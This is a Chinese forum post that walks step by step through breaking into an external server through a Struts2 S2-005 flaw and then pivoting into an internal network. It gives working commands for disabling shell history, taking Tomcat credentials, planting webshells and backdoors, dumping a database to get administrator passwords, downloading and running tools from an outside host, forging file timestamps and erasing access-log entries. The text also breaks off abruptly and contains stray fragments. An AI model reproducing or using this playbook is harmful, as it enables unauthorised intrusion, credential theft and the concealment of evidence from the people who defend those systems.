[原创] 一次渗透测试过程--从外网进内网
最近内网权限掉了, 需要重新找外网的入口进内网,
用凤凰扫描器生成字典扫了一下弱口令,人肉查看了c段上的一些web, 扫了扫端口,发现13这台机器上跑了一个wingsoft的软件, 在乌云上找到了一个漏洞, 用st2 -005 漏洞获得一个cmdshell
0x02 进入边界服务器
执行 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0
使系统不记录我们的操作记录
用默认的工具上不去webshell,看了下web目录, chmod 777 +r /js/ 加了可写权限, 依然webshell上不去, 使用wget -O /web/js/help.jsp www.xxx.com/shell.txt 也写入不了文件
执行
- locate tomcat-user.xml
- cat /mulu/tomcat-user.xml
找到密码以后进入tomcat后台,部署war包获取webshell, 进去了以后,部署一句话后门若干, 并修改掉文件创建的时间,开始在webshell 上收集信息,为内网渗透做准备
netstat -tlnp //查看内网连过来那些端口
10.19.1.56
10.19.1.66
192.168.1.184
10.19.1.150
10.22.1.222
10.22.1.249
[size=14.399999618530273px]10.22.1.249
翻一番配置文件。找数据库在10.48.14.52 网段连接进去把裤子拖出来, 查找管理员的密码, 翻到3个管理员(*陈,刘*,彭*) 记录下他的密码,看了下
- python -h
- nmap -h 发现环境里有python环境
上insightscan.py 去扫描下 然而报错了(),上传凤凰扫描器准备增加一点权限, 上传出错, 采用文件下载的方式来安装凤凰扫描器
- wget -O /tmp/xx.zip http://www.baidu.com/xx.zip
- unzip /tmp/xx.zip
- chmod 777 ff
- ./ff
提示缺少动态连接裤 (tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory
)百度了一下
- 获取pam版本:rpm -qa|grep pam
- awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
- touch -amt 200901231532 文件名 这样把时间改回来
- 当然 也有批量修改时间的小技巧
- ls|xargs touch -amt 200901231532 #这句话就可以直接改时间
(2)系统日志的清理